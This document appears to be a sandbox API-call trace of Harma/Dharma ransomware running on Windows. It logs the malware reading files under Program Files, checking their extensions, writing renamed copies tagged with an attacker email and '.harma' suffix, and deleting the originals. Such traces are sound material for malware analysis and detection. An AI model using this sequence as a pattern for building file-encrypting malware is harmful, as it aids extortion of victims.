GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0063.894] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0063.894] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.895] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.895] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0063.895] GetLastError () returned 0x0 [0063.895] ReadFile (in: hFile=0x1f4, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x2cc, lpOverlapped=0x0) returned 1 [0063.954] WriteFile (in: hFile=0x1e4, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0x2d0, lpOverlapped=0x0) returned 1 [0063.956] ReadFile (in: hFile=0x1f4, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x0, lpOverlapped=0x0) returned 1 [0063.956] WriteFile (in: hFile=0x1e4, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0xfc, lpOverlapped=0x0) returned 1 [0063.956] SetEndOfFile (hFile=0x1e4) returned 1 [0063.956] CloseHandle (hObject=0x1e4) returned 1 [0063.956] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.956] SetEndOfFile (hFile=0x1f4) returned 1 [0063.957] CloseHandle (hObject=0x1f4) returned 1 [0063.957] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0063.957] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config")) returned 1 [0063.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0063.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0063.958] lstrlenW (lpString=".doc") returned 4 [0063.958] lstrcmpiW (lpString1=".doc", lpString2="nfig") returned -1 [0063.958] lstrlenW (lpString=".docx") returned 5 [0063.958] lstrcmpiW (lpString1=".docx", lpString2="onfig") returned -1 [0063.958] lstrlenW (lpString=".pdf") returned 4 [0063.958] lstrcmpiW (lpString1=".pdf", lpString2="nfig") returned -1 [0063.958] lstrlenW (lpString=".xls") returned 4 [0063.958] lstrcmpiW (lpString1=".xls", lpString2="nfig") returned -1 [0063.958] lstrlenW (lpString=".xlsx") returned 5 [0063.958] lstrcmpiW (lpString1=".xlsx", lpString2="onfig") returned -1 [0063.958] lstrlenW (lpString=".ppt") returned 4 [0063.958] lstrcmpiW (lpString1=".ppt", lpString2="nfig") returned -1 [0063.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0063.958] lstrlenW (lpString=".zip") returned 4 [0063.958] lstrcmpiW (lpString1=".zip", lpString2="nfig") returned -1 [0063.958] lstrlenW (lpString=".rar") returned 4 [0063.958] lstrcmpiW (lpString1=".rar", lpString2="nfig") returned -1 [0063.958] lstrlenW (lpString=".bz2") returned 4 [0063.958] lstrcmpiW (lpString1=".bz2", lpString2="nfig") returned -1 [0063.958] lstrlenW (lpString=".7z") returned 3 [0063.958] lstrcmpiW (lpString1=".7z", lpString2="fig") returned -1 [0063.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0063.958] lstrlenW (lpString=".dbf") returned 4 [0063.958] lstrcmpiW (lpString1=".dbf", lpString2="nfig") returned -1 [0063.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0063.958] lstrlenW (lpString=".1cd") returned 4 [0063.958] lstrcmpiW (lpString1=".1cd", lpString2="nfig") returned -1 [0063.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0063.959] lstrlenW (lpString=".jpg") returned 4 [0063.959] lstrcmpiW (lpString1=".jpg", lpString2="nfig") returned -1 [0063.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0063.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0063.959] lstrlenW (lpString=".doc") returned 4 [0063.959] lstrcmpiW (lpString1=".doc", lpString2="nfig") returned -1 [0063.959] lstrlenW (lpString=".docx") returned 5 [0063.959] lstrcmpiW (lpString1=".docx", lpString2="onfig") returned -1 [0063.959] lstrlenW (lpString=".pdf") returned 4 [0063.959] lstrcmpiW (lpString1=".pdf", lpString2="nfig") returned -1 [0063.959] lstrlenW (lpString=".xls") returned 4 [0063.959] lstrcmpiW (lpString1=".xls", lpString2="nfig") returned -1 [0063.959] lstrlenW (lpString=".xlsx") returned 5 [0063.959] lstrcmpiW (lpString1=".xlsx", lpString2="onfig") returned -1 [0063.959] lstrlenW (lpString=".ppt") returned 4 [0063.959] lstrcmpiW (lpString1=".ppt", lpString2="nfig") returned -1 [0063.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0063.959] lstrlenW (lpString=".zip") returned 4 [0063.959] lstrcmpiW (lpString1=".zip", lpString2="nfig") returned -1 [0063.959] lstrlenW (lpString=".rar") returned 4 [0063.959] lstrcmpiW (lpString1=".rar", lpString2="nfig") returned -1 [0063.959] lstrlenW (lpString=".bz2") returned 4 [0063.959] lstrcmpiW (lpString1=".bz2", lpString2="nfig") returned -1 [0063.959] lstrlenW (lpString=".7z") returned 3 [0063.959] lstrcmpiW (lpString1=".7z", lpString2="fig") returned -1 [0063.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0063.959] lstrlenW (lpString=".dbf") returned 4 [0063.959] lstrcmpiW (lpString1=".dbf", lpString2="nfig") returned -1 [0063.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0063.959] lstrlenW (lpString=".1cd") returned 4 [0063.959] lstrcmpiW (lpString1=".1cd", lpString2="nfig") returned -1 [0063.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0063.960] lstrlenW (lpString=".jpg") returned 4 [0063.960] lstrcmpiW (lpString1=".jpg", lpString2="nfig") returned -1 [0063.960] lstrcmpiW (lpString1=".inc", lpString2=".harma") returned 1 [0063.960] lstrlenW (lpString="adcvbs.inc") returned 10 [0063.960] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0064.120] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=623) returned 1 [0064.120] CloseHandle (hObject=0x1ec) returned 1 [0064.120] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc")) returned 0x20 [0064.120] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0064.120] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0064.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0064.120] lstrlenW (lpString=".doc") returned 4 [0064.120] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0064.120] lstrlenW (lpString=".docx") returned 5 [0064.121] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0064.121] lstrlenW (lpString=".pdf") returned 4 [0064.121] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0064.121] lstrlenW (lpString=".xls") returned 4 [0064.121] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0064.121] lstrlenW (lpString=".xlsx") returned 5 [0064.121] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0064.121] lstrlenW (lpString=".ppt") returned 4 [0064.121] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0064.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0064.121] lstrlenW (lpString=".zip") returned 4 [0064.121] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0064.121] lstrlenW (lpString=".rar") returned 4 [0064.121] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0064.121] lstrlenW (lpString=".bz2") returned 4 [0064.121] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0064.121] lstrlenW (lpString=".7z") returned 3 [0064.121] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0064.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0064.121] lstrlenW (lpString=".dbf") returned 4 [0064.121] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0064.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0064.121] lstrlenW (lpString=".1cd") returned 4 [0064.121] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0064.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0064.121] lstrlenW (lpString=".jpg") returned 4 [0064.121] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0064.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0064.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0064.121] lstrlenW (lpString=".doc") returned 4 [0064.121] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0064.121] lstrlenW (lpString=".docx") returned 5 [0064.121] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0064.122] lstrlenW (lpString=".pdf") returned 4 [0064.122] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0064.122] lstrlenW (lpString=".xls") returned 4 [0064.122] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0064.122] lstrlenW (lpString=".xlsx") returned 5 [0064.122] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0064.122] lstrlenW (lpString=".ppt") returned 4 [0064.122] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0064.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0064.122] lstrlenW (lpString=".zip") returned 4 [0064.122] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0064.122] lstrlenW (lpString=".rar") returned 4 [0064.122] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0064.122] lstrlenW (lpString=".bz2") returned 4 [0064.122] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0064.122] lstrlenW (lpString=".7z") returned 3 [0064.122] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0064.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0064.122] lstrlenW (lpString=".dbf") returned 4 [0064.122] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0064.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0064.122] lstrlenW (lpString=".1cd") returned 4 [0064.122] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0064.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0064.122] lstrlenW (lpString=".jpg") returned 4 [0064.122] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0064.122] lstrcmpiW (lpString1=".inc", lpString2=".harma") returned 1 [0064.122] lstrlenW (lpString="oledbjvs.inc") returned 12 [0064.123] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0064.126] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=9804) returned 1 [0064.126] CloseHandle (hObject=0x1ec) returned 1 [0064.127] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc")) returned 0x20 [0064.127] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0064.127] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0064.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0064.127] lstrlenW (lpString=".doc") returned 4 [0064.127] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0064.127] lstrlenW (lpString=".docx") returned 5 [0064.127] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0064.127] lstrlenW (lpString=".pdf") returned 4 [0064.127] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0064.127] lstrlenW (lpString=".xls") returned 4 [0064.127] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0064.127] lstrlenW (lpString=".xlsx") returned 5 [0064.127] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0064.127] lstrlenW (lpString=".ppt") returned 4 [0064.127] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0064.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0064.127] lstrlenW (lpString=".zip") returned 4 [0064.127] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0064.127] lstrlenW (lpString=".rar") returned 4 [0064.127] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0064.127] lstrlenW (lpString=".bz2") returned 4 [0064.127] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0064.127] lstrlenW (lpString=".7z") returned 3 [0064.128] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0064.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0064.128] lstrlenW (lpString=".dbf") returned 4 [0064.128] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0064.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0064.128] lstrlenW (lpString=".1cd") returned 4 [0064.128] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0064.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0064.128] lstrlenW (lpString=".jpg") returned 4 [0064.128] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0064.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0064.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0064.128] lstrlenW (lpString=".doc") returned 4 [0064.128] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0064.128] lstrlenW (lpString=".docx") returned 5 [0064.128] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0064.128] lstrlenW (lpString=".pdf") returned 4 [0064.128] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0064.128] lstrlenW (lpString=".xls") returned 4 [0064.128] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0064.128] lstrlenW (lpString=".xlsx") returned 5 [0064.128] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0064.128] lstrlenW (lpString=".ppt") returned 4 [0064.128] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0064.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0064.128] lstrlenW (lpString=".zip") returned 4 [0064.128] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0064.128] lstrlenW (lpString=".rar") returned 4 [0064.128] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0064.128] lstrlenW (lpString=".bz2") returned 4 [0064.128] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0064.128] lstrlenW (lpString=".7z") returned 3 [0064.129] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0064.129] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0064.129] lstrlenW (lpString=".dbf") returned 4 [0064.129] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0064.129] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0064.129] lstrlenW (lpString=".1cd") returned 4 [0064.129] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0064.129] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0064.129] lstrlenW (lpString=".jpg") returned 4 [0064.129] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0064.129] lstrcmpiW (lpString1=".inc", lpString2=".harma") returned 1 [0064.129] lstrlenW (lpString="oledbvbs.inc") returned 12 [0064.129] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0064.129] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=9975) returned 1 [0064.129] CloseHandle (hObject=0x1ec) returned 1 [0064.129] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc")) returned 0x20 [0064.130] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0064.130] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.130] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0064.130] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0064.130] lstrlenW (lpString=".doc") returned 4 [0064.130] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0064.130] lstrlenW (lpString=".docx") returned 5 [0064.130] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0064.130] lstrlenW (lpString=".pdf") returned 4 [0064.133] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0064.133] lstrlenW (lpString=".xls") returned 4 [0064.133] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0064.133] lstrlenW (lpString=".xlsx") returned 5 [0064.133] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0064.133] lstrlenW (lpString=".ppt") returned 4 [0064.133] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0064.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0064.133] lstrlenW (lpString=".zip") returned 4 [0064.133] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0064.133] lstrlenW (lpString=".rar") returned 4 [0064.133] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0064.133] lstrlenW (lpString=".bz2") returned 4 [0064.133] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0064.134] lstrlenW (lpString=".7z") returned 3 [0064.134] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0064.134] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0064.134] lstrlenW (lpString=".dbf") returned 4 [0064.134] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0064.134] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0064.134] lstrlenW (lpString=".1cd") returned 4 [0064.134] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0064.134] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0064.134] lstrlenW (lpString=".jpg") returned 4 [0064.134] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0064.134] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0064.134] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0064.134] lstrlenW (lpString=".doc") returned 4 [0064.134] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0064.134] lstrlenW (lpString=".docx") returned 5 [0064.134] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0064.134] lstrlenW (lpString=".pdf") returned 4 [0064.134] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0064.134] lstrlenW (lpString=".xls") returned 4 [0064.134] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0064.134] lstrlenW (lpString=".xlsx") returned 5 [0064.134] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0064.134] lstrlenW (lpString=".ppt") returned 4 [0064.135] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0064.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0064.135] lstrlenW (lpString=".zip") returned 4 [0064.135] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0064.135] lstrlenW (lpString=".rar") returned 4 [0064.135] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0064.135] lstrlenW (lpString=".bz2") returned 4 [0064.135] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0064.135] lstrlenW (lpString=".7z") returned 3 [0064.135] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0064.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0064.135] lstrlenW (lpString=".dbf") returned 4 [0064.135] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0064.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0064.135] lstrlenW (lpString=".1cd") returned 4 [0064.135] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0064.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56 [0064.135] lstrlenW (lpString=".jpg") returned 4 [0064.135] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0064.135] lstrcmpiW (lpString1=".ini", lpString2=".harma") returned 1 [0064.135] lstrlenW (lpString="desktop.ini") returned 11 [0064.135] CreateFileW (lpFileName="C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0064.136] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=174) returned 1 [0064.136] CloseHandle (hObject=0x1ec) returned 1 [0064.136] GetFileAttributesW (lpFileName="C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini")) returned 0x26 [0064.136] GetFileAttributesW (lpFileName="C:\\Program Files\\desktop.ini.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\desktop.ini.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0064.136] CreateFileW (lpFileName="C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0064.136] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.136] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.136] CreateFileW (lpFileName="C:\\Program Files\\desktop.ini.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\desktop.ini.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0064.137] GetLastError () returned 0x0 [0064.137] 